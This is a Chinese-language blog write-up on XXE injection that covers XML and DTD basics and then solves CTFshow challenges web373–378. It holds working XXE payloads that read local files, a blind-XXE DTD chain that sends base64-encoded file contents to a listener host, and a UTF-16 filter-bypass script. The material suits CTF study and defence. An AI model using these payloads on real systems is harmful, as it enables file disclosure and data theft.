XXE漏洞学习

XXE漏洞学习

XXE又名XML外部实体注入。学习XXE之前,我们首先来了解一下XML语言

XML文档

初始XML

什么是XML?xmL是独立于软件和硬件的信息传输工具,XML是被设计用来结构化,存储以及传输信息的。它其实和HTML很像但是它的宗旨是传输数据,而不是显示数据。HTML被用来显示数据,而XML被用来传输和存储数据。

XML的用途:

​ 1.在HTML中显示动态数据,xml把数据从HTML中分离,这样HTML就可以专注于布局和显示。而读取XML我们仅仅需要几行简单的JavaScript代码。

​ 2.XML 简化数据共享,在真实的世界中,计算机系统和数据使用不兼容的格式来存储数据。XML 数据以纯文本格式进行存储,因此提供了一种独立于软件和硬件的数据存储方法。

​ 3.XML 简化数据传输,由于可以通过各种不兼容的应用程序来读取数据,以 XML 交换数据降低了这种复杂性。

XML文档结构

  • XML文档结构包括XML声明,

  • DTD文档定义类型(可选),XXE漏洞所在的地方

  • 文档元素,属性,实体

<!--XML声明-->
<?xml version="1.0"?>
<!--文档定义类型-->
<!DOCTYPE note [						<!--定义此文档是note类型的文档-->
<!ELMENT note(to,from,heading,body)>	<!--定义note根元素下有四个元素-->
<!ELMENT to(#PCDATA)>					<!--定义to元素为"#PCDATA"类型-->
<!ELMENT from(#PCDATA)>					<!--定义to元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
</note>

XML元素:

XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。一个元素可以包含:其他元素,文本,属性,或混合以上所有...比如说下面的<book>元素

<book category="CHILDREN">
    <title>Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
</book>

DTD分析与漏洞应用

  • DTD文件是用来定义合法的XML文档模块的

  • 在引用实体位置层面上XML实体分为俩种:内部实体和外部实体

  • 还可以从另一个层面上化分为:通用实体和参数实体

内部实体&外部实体

内部实体DTD:

<!--XML声明-->
<?xml version="1.0"?>
<!--文档定义类型-->
<!DOCTYPE note [						<!--定义此文档是note类型的文档-->
<!ELMENT note(to,from,heading,body)>	<!--定义note根元素下有四个元素-->
<!ELMENT to(#PCDATA)>					<!--定义to元素为"#PCDATA"类型-->
<!ELMENT from(#PCDATA)>					<!--定义to元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
</note>

外部实体DTD漏洞利用点

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>		<!--"note.dtd"同样可以替换为file:///flag.php-->
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

如上述代码一样,外部引用实体可以让我利用成敏感文件读取

通用实体&参数实体

通用实体DTD:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "test.dtd" >]>		
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

参数实体DTD:无回显漏洞

参数实体只能在DTD中使用,这里我们直接上无回显XXEexp进行分析

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

exp:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip:8080/test.dtd">
%remote;%int;%send;
]>

分析:假定后端代码是这样子的:

libxml_disable_entity_loader(false);	//必须可以好含外部实体
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

当执行到PHP第三行代码时解析exp,接下来就是3个实体参数的引用顺序%remote;:请求远程的外部的实体把test.dtd包含进来;%int;:这里会解析%file;,将%file;获得的内容放入p的位置;最后%send;通过远程访问将我们读取到的内容发送给ip:9999

注意:如果我们读取的文件中包含一些特殊的符号时候,那么php伪协议读取文件需要进行base64编码,

CTF题目

CTFshow--web373

有回显读取本地敏感文件

<?php
error_reporting(0);
libxml_disable_entity_loader(false);    //flase:启外动使用部实体
$xmlfile = file_get_contents('php://input');	//读取post部分的内容
if(isset($xmlfile)){
    $dom = new DOMDocument();	//新建一个xml对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);	//将变量$xmlfile转换成xml文档
    $creds = simplexml_import_dom($dom);	//实例化 此处出现了漏洞的利用
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

libxml_disable_entity_loader(false); 这个函数其实在开发中不建议开启,如果是flase则允许外部实体引用,true值是不允许外部实体引用

如果有了前面的知识,这部分exp是很简单构造出来的:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>		<!--"note.dtd"同样可以替换为file:///flag.php-->
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

CTFshow--web374

无回显读取本地敏感文件

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 实例化,漏洞出发点
}
highlight_file(__FILE__);    

没有了对XML实体的操作,同时也就意味这没有了回显。DTD部分的参数实体可以进行漏洞应用,前面以经经过分析了,这里也就不在赘述。

test.dtd文件,该文件放在自己的服务器的一个目录下

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:1106?p=%file;'>">

在当前目录用python开启一个http服务

python3 -m http.server 8080

exp:在burp中发送该内容

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip:8080/test.dtd">
%remote;%int;%send;
]>

在自己的服务器端开启监听得到了回显。

image-20211225223333297

CTFshow--web375

无回显有过滤读取敏感文件

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //实例化,漏洞触发点
}
highlight_file(__FILE__);   

分析:过滤了XML的声明,但是有无它都一样。至于过滤了http,直接utf-16编码绕过即可

在自己的vps上用python开启一个http服务

python3 -m http.server 8080

python脚本:

import requests

url = "http://ec9cbf54-0277-47a5-8331-1fa5af01a589.challenge.ctf.show/"
exp = """<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://121.89.236.98:8080/test.dtd">
%remote;%int;%send;
]>"""
exp = exp.encode('utf-16')
r = requests.post(url,data = exp)
print("ok!")

test.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:1106?p=%file;'>">

开启监听得到回显:

image-20211226095549648

ctfshow-376,377与375题目类似

CTFshow--web378

打开时一个登录框,题目上说是python xxe。但是仔细一想xmL貌似只是用来传输数据,和显示布局数据没有关系。

随便试一下exp得到flag:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>		
<user><username>
&xxe;
</username><password>
admin
</password></user>

flag:ctfshow{f5834b0e-2dd3-4468-b744-a62d3d4c6bb4}

参考文章

一篇文章带你深入理解漏洞之 XXE 漏洞

posted @ 2021-12-28 23:46  B0T1eR  阅读(340)  评论(0)    收藏  举报